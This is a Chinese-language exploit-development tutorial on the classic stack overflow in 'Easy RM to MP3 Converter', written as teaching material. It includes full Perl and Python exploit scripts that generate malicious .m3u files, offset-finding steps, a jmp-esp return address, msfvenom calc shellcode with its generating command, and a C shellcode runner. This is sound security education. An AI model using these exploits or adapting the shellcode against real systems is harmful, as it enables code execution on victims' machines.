A Tale of Exploit "Easy RM 2 MP3

对一个年代久远的经典栈溢出,从漏洞分析到编写exp的过程进行了记录。我个人正在录制二进制安全系列教程,该样本将作为经典栈溢出的讲解实例。
收录:二进制安全系列教程
链接:https://pan.baidu.com/s/1ltcHIehhLFVFMvru6tGQ8A 密码:axje

A Tale of Exploit “Easy RM 2 MP3 Converter”

“Easy RM 2 MP3 Converter”是一个音频格式的转换工具,年代可以说非常久远了。在2009年7月17日,packetstormsecurity公开了该软件的一个栈溢出漏洞并提供了exploit。

附上原文链接:https://packetstormsecurity.com/files/79357/Easy-RM-To-MP3-Converter-Stack-Overflow.html

Exp-DB也收录了这一漏洞,尽管没有CVE:https://www.exploit-db.com/exploits/9186/

因为该实例非常经典,对该漏洞的分析文章可谓是不胜枚举。比较著名的就是Corelan Team的“Exp编写系列”。在这里,我们抛开其他先驱者的描摹,自己尝试从原始的报告开始分析。

这个漏洞也是我五年前刚刚接触二进制安全时,第一个调试的漏洞。情怀!

调研

我们先来看看公开的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/perl
# Easy RM to MP3 Converter .m3u file Universall Stack Overflow Exploit
# it's so diferent to the first exploit .pls
# by stack
# xd Alpha zrebti 3liha :d
# Thnx to Zigma & His0k4 & HOD
my $header= "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46".
"\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F".
"\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20".
"\x0D\x0A\x44\x3A\x5C";
my $junk = "\x41" x 1293;
my $ret = "\xDB\x70\xBB\x01"; # Universal return adress :d
my $nop = "\x90" x 220;
# win32_exec - EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $calc_shell =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47".
"\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48".
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38".
"\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54".
"\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b".
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33".
"\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47".
"\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36".
"\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a";
$id = $ARGV[0];
if ($id==1){
print "$header$junk$ret$nop$calc_shell";
exit;
}
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++ +++\n";
print " +++ +++\n";
print " +++ Easy RM to MP3 Converter Universall Stack Overflow Exploit +++\n";
print " +++ Written By Stack +++\n";
print " +++ +++\n";
print " +++ Usage Ex.: perl $0 1 >>Exploit.m3u +++\n";
print " +++ +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;
#EOF

exp是用perl写的,payload的组成如下:

根据代码的注释以及我们对栈溢出的理解,可以知晓header和junk是用于填充ESP和EBP之间的内存空间(包括EBP本身),而”\xDB\x70\xBB\x01”是一个硬编码的地址,这个地址很可能是“jmp esp”类指令的地址。而ret addr之后部署了220个nop指令以及弹出计算器的shellcode。

这里有几个疑点:

  1. header的数据是怎么来的?为什么不直接用junk填充呢?是否程序存在对局部变量开始的多字节合法检查?
  2. 覆盖ret的地址处是什么指令?我们大胆的推测0x01BB70DB是该系统版本的一个稳定的“jmp esp”指令的地址。此时ESP指向calc_shell起始地址或是220个nop指令中的某个地址。
  3. ret addr之后为什么要有220个字节的nop?
  4. calc_shell是怎么来的?

崩溃现场

作者没有描述系统版本,也没有给出该软件的版本,但exp-db上收录了该漏洞软件,我们可以直接下载下来:

https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe

软件信息:

我就这里直接用Win7 x86来调试了,按时间来推算,作者应该用的是xp sp2。

Perl目前不是很常用,改Python来重新复刻一版exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
import sys
header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"
junk = "\x41" * 1293
ret = "\xDB\x70\xBB\x01"
nop = "\x90" * 220
calc_shell = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
calc_shell += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
calc_shell += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
calc_shell += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
calc_shell += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
calc_shell += "\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47"
calc_shell += "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48"
calc_shell += "\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48"
calc_shell += "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
calc_shell += "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
calc_shell += "\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"
calc_shell += "\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54"
calc_shell += "\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
calc_shell += "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43"
calc_shell += "\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57"
calc_shell += "\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a"
calc_shell += "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
calc_shell += "\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33"
calc_shell += "\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
calc_shell += "\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39"
calc_shell += "\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36"
calc_shell += "\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a"
if len(sys.argv) < 2:
print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
with open(sys.argv[1],"w") as f:
f.write(header + junk + ret + nop + calc_shell)

先生成一个evil1.m3u:

看起来header是标志m3u文件的头部信息,可能软件存在格式检查。暂时不关心。

我们运行程序试试:

程序弹出了一个对话框,提示了一个错误,点击确定后程序一切正常,并没有崩溃。

看起来这份exp在我们的环境下不但不能用,甚至连崩溃效果都达不到。

我们只好自己尝试填充更大的数据来引起崩溃,改写一下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import sys
header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"
junk = "\x41" * 30000
payload = header + junk
if len(sys.argv) < 2:
print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
with open(sys.argv[1],"w") as f:
f.write(payload)

30000这个count是一个模糊数据,当30000个‘A’填充时,程序确实崩了:

根据我们对栈溢出的理解,程序崩溃是因为当前栈帧的返回地址被0x41414141所覆盖,而0x41414141处的指令是不可控的(内存空间要么未分配,要么指令因不可控而异常)。通过调试器来定位一下,程序的最后是否按照预期所想。使用Windbg附加进程:

g命令运行起来,加载evil2.m3u:

可以看到程序确实跑到了0x41414141指令处,而该处地址是不可访问的:

定位ret eip

但要如何定位ret eip在栈上的地址呢?我们填充的数据全是’A’,崩溃时根本看不出是哪个地址处的’A’覆盖了ret addr。

对于这种情形,有2种常见的手法来解决:

  1. 第一种是直接通过动态调试和静态调试,比如找到关键函数调用地址,通过下断点的方式,在程序崩溃前后观察栈内存空间,如果是静态调试的话甚至可以根据反汇编码直接计算出ret addr与可控输入数据的距离。
  2. 第二种是懒人万用方法,可以直接用一组pattern特征junk来填充,观察程序崩溃时跳转的地址来定位ret addr与数据起始的偏移。

第二种方法无疑比较简单,这里就使用它来操作一下,直接用windbg的mona.py插件:

!py mona pattern_create 30000

因为数据过巨,控制台显示不完整,我们找到输出的pattern.txt:

用HEX这30000个字节数据替代之前的poc.py中的junk(数据太长,不贴代码了)。

可以观察到这一组数据有很明显的特征,可以根据这一组精心够造的序列轻易的判断出ret addr是哪4个连续的字节。

再次调试,看看ret addr跳到了哪里:

因为Intel是小端,所以我们把地址换成”\x48\x6d\x33\x48”,把这4个字节在30000个字节中搜索一下,就知道ret addr的偏移了。

可以手动搜索,也可以继续用mona.py插件提供的pattern_offset。最终找到偏移为26105。

先把ret addr填充一下,测试是否正确:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
import sys
header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"
junk = "\x41"*26105
ebp = "\x42\x42\x42\x42"
ret = "\x43\x43\x43\x43"
shellcode = "\x90" * 220 + "\xcc"
payload = header + junk + ebp + ret + shellcode
if len(sys.argv) < 2:
print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
with open(sys.argv[1],"w") as f:
f.write(payload)

按照payload布局,应该会ret回0x43434343:

编写exp

下面就是研究一下,返回时,各个寄存器尤其是esp指向哪里,是否有某个寄存器指向栈空间:

可以发现此时esp指向0x000ff660,而该位置是覆盖ret addr处的地址+8。

一般来讲,由于栈帧、函数调用的设计在ret之后,esp指针通常都是指向此前ret addr地址+4处的地址。但由于不同的调用约定,以及一些其他的因素,可能esp指针会发生变化。这里之所以指向的是ret addr+8而不是ret addr+4是因为平衡栈帧的操作是在被调用者中进行的。调用者应该传递了一个参数。

无论如何,我们的esp可用,那么只需要找到一条稳定的”jmp esp“指令的地址,覆盖ret addr,就可以达成这样一个效果:

而jmp esp的地址我们可以通过mona插件的jmp -r esp -m kernel32.dll来查找。选择kernel32.dll是因为它比较稳定,这个dll会被所有用户态应用程序加载,且基址固定(系统未开启ASLR,就算开启了ASLR,这个地址在重启前也都是固定的(受限于Windows DLL加载的设计),方便调试)。除了kernel32.dll,user32.dll也经常作为选择。

如果发现该命令很慢,别急,观察一下symbols文件夹,是否windbg正在大量下载符号表。首次会比较慢。

在kernel32.dll中随便找到一个”jmp esp”指令,把地址填充到exp的ret字段中:

我们用0x762a4ebf覆盖ret addr,shellcode先暂时设置成”\xcc”,也就是’int 3’指令。

再次测试,程序确实如预期跳到了栈上的shellcode起始字节处开始执行(当前是int 3):

半成品exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
import sys
header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"
junk = "\x41"*26105
ebp = "\x42\x42\x42\x42"
ret = "\xbf\x4e\x2a\x76"
shellcode = "\x90" * 4 + "\xcc"
payload = header + junk + ebp + ret + shellcode
if len(sys.argv) < 2:
print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
with open(sys.argv[1],"w") as f:
f.write(payload)

我测试了一下reporter提供的shellcode,但这段弹出calc的字节码是不兼容的。那么如何自己编写一段shellcode呢?实际上shellcode的生成并不难,也有很多现成的工具来自动生成(比如最为强大的msf可以自定义生成,将简答题变成填空题)。

shellcode这一部分将有单独的几篇文章来讲解,而本文旨在阐释经典栈溢出的利用手法,shellcode相关也就点到为止。

后记

为了视频教程需要,补上一段弹出calc的shellcode利用。

最终的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
import sys
header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"
junk = "\x41"*26105
ebp = "\x42\x42\x42\x42"
ret = "\xcb\x31\x10\x76" # 这里这个值和前面的不一样是因为我重启了虚拟机,此前的忘记做快照了:(
buf = "\xbf\x86\x79\x7d\x55\xdd\xc7\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
buf += "\x30\x31\x78\x13\x03\x78\x13\x83\xe8\x7a\x9b\x88\xa9\x6a\xde"
buf += "\x73\x52\x6a\xbf\xfa\xb7\x5b\xff\x99\xbc\xcb\xcf\xea\x91\xe7"
buf += "\xa4\xbf\x01\x7c\xc8\x17\x25\x35\x67\x4e\x08\xc6\xd4\xb2\x0b"
buf += "\x44\x27\xe7\xeb\x75\xe8\xfa\xea\xb2\x15\xf6\xbf\x6b\x51\xa5"
buf += "\x2f\x18\x2f\x76\xdb\x52\xa1\xfe\x38\x22\xc0\x2f\xef\x39\x9b"
buf += "\xef\x11\xee\x97\xb9\x09\xf3\x92\x70\xa1\xc7\x69\x83\x63\x16"
buf += "\x91\x28\x4a\x97\x60\x30\x8a\x1f\x9b\x47\xe2\x5c\x26\x50\x31"
buf += "\x1f\xfc\xd5\xa2\x87\x77\x4d\x0f\x36\x5b\x08\xc4\x34\x10\x5e"
buf += "\x82\x58\xa7\xb3\xb8\x64\x2c\x32\x6f\xed\x76\x11\xab\xb6\x2d"
buf += "\x38\xea\x12\x83\x45\xec\xfd\x7c\xe0\x66\x13\x68\x99\x24\x79"
buf += "\x6f\x2f\x53\xcf\x6f\x2f\x5c\x7f\x18\x1e\xd7\x10\x5f\x9f\x32"
buf += "\x55\xaf\xd5\x1f\xff\x38\xb0\xf5\x42\x25\x43\x20\x80\x50\xc0"
buf += "\xc1\x78\xa7\xd8\xa3\x7d\xe3\x5e\x5f\x0f\x7c\x0b\x5f\xbc\x7d"
buf += "\x1e\x3c\x23\xee\xc2\xc3";
shellcode = "\x90" * 30 + buf
payload = header + junk + ebp + ret + shellcode
if len(sys.argv) < 2:
print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
with open(sys.argv[1],"w") as f:
f.write(payload)

测试一下这段shellcode,编写一段简单的C代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
unsigned char shellcode[] =
"\xbf\x86\x79\x7d\x55\xdd\xc7\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x30\x31\x78\x13\x03\x78\x13\x83\xe8\x7a\x9b\x88\xa9\x6a\xde"
"\x73\x52\x6a\xbf\xfa\xb7\x5b\xff\x99\xbc\xcb\xcf\xea\x91\xe7"
"\xa4\xbf\x01\x7c\xc8\x17\x25\x35\x67\x4e\x08\xc6\xd4\xb2\x0b"
"\x44\x27\xe7\xeb\x75\xe8\xfa\xea\xb2\x15\xf6\xbf\x6b\x51\xa5"
"\x2f\x18\x2f\x76\xdb\x52\xa1\xfe\x38\x22\xc0\x2f\xef\x39\x9b"
"\xef\x11\xee\x97\xb9\x09\xf3\x92\x70\xa1\xc7\x69\x83\x63\x16"
"\x91\x28\x4a\x97\x60\x30\x8a\x1f\x9b\x47\xe2\x5c\x26\x50\x31"
"\x1f\xfc\xd5\xa2\x87\x77\x4d\x0f\x36\x5b\x08\xc4\x34\x10\x5e"
"\x82\x58\xa7\xb3\xb8\x64\x2c\x32\x6f\xed\x76\x11\xab\xb6\x2d"
"\x38\xea\x12\x83\x45\xec\xfd\x7c\xe0\x66\x13\x68\x99\x24\x79"
"\x6f\x2f\x53\xcf\x6f\x2f\x5c\x7f\x18\x1e\xd7\x10\x5f\x9f\x32"
"\x55\xaf\xd5\x1f\xff\x38\xb0\xf5\x42\x25\x43\x20\x80\x50\xc0"
"\xc1\x78\xa7\xd8\xa3\x7d\xe3\x5e\x5f\x0f\x7c\x0b\x5f\xbc\x7d"
"\x1e\x3c\x23\xee\xc2\xc3";
//char *ptr = new char[sizeof(shellcode)];
//memcpy(ptr, shellcode, sizeof(shellcode));
((void(*)())&shellcode)();
return 0;
}

在Win7 SP1 + VS2013下确实是可以弹出calc的。

注意:关闭NX位,否则你的堆和栈都不能执行。。。

在虚拟机中生成evil5.m3u,运行程序Load该文件:

确实弹出了计算器:

比起calc的顺利执行,可能初学者更为好奇的是这段shellcode是如何制作出来的。实际上shellcode可以手工制作,也可以用现成的工具来自动生成(比如本次使用的shellcode就是利用msf生成的,对应参数:msfvenom -p windows/exec CMD=”calc” -f c -b “\x00\x0a”)

MSF是一个非常强大的工具,生成shellcode(payload)只是它的冰山一角,无论是漏洞分析还是攻防相关,我们以后会经常与它打交道。

关于shellcode如何手工制作、制作过程需要注意的坑以及自动生成工具的使用我以后会纂写单独的文章来详述。

文章目录
  1. 1. A Tale of Exploit “Easy RM 2 MP3 Converter”
    1. 1.1. 调研
    2. 1.2. 崩溃现场
    3. 1.3. 定位ret eip
    4. 1.4. 编写exp
    5. 1.5. 后记
,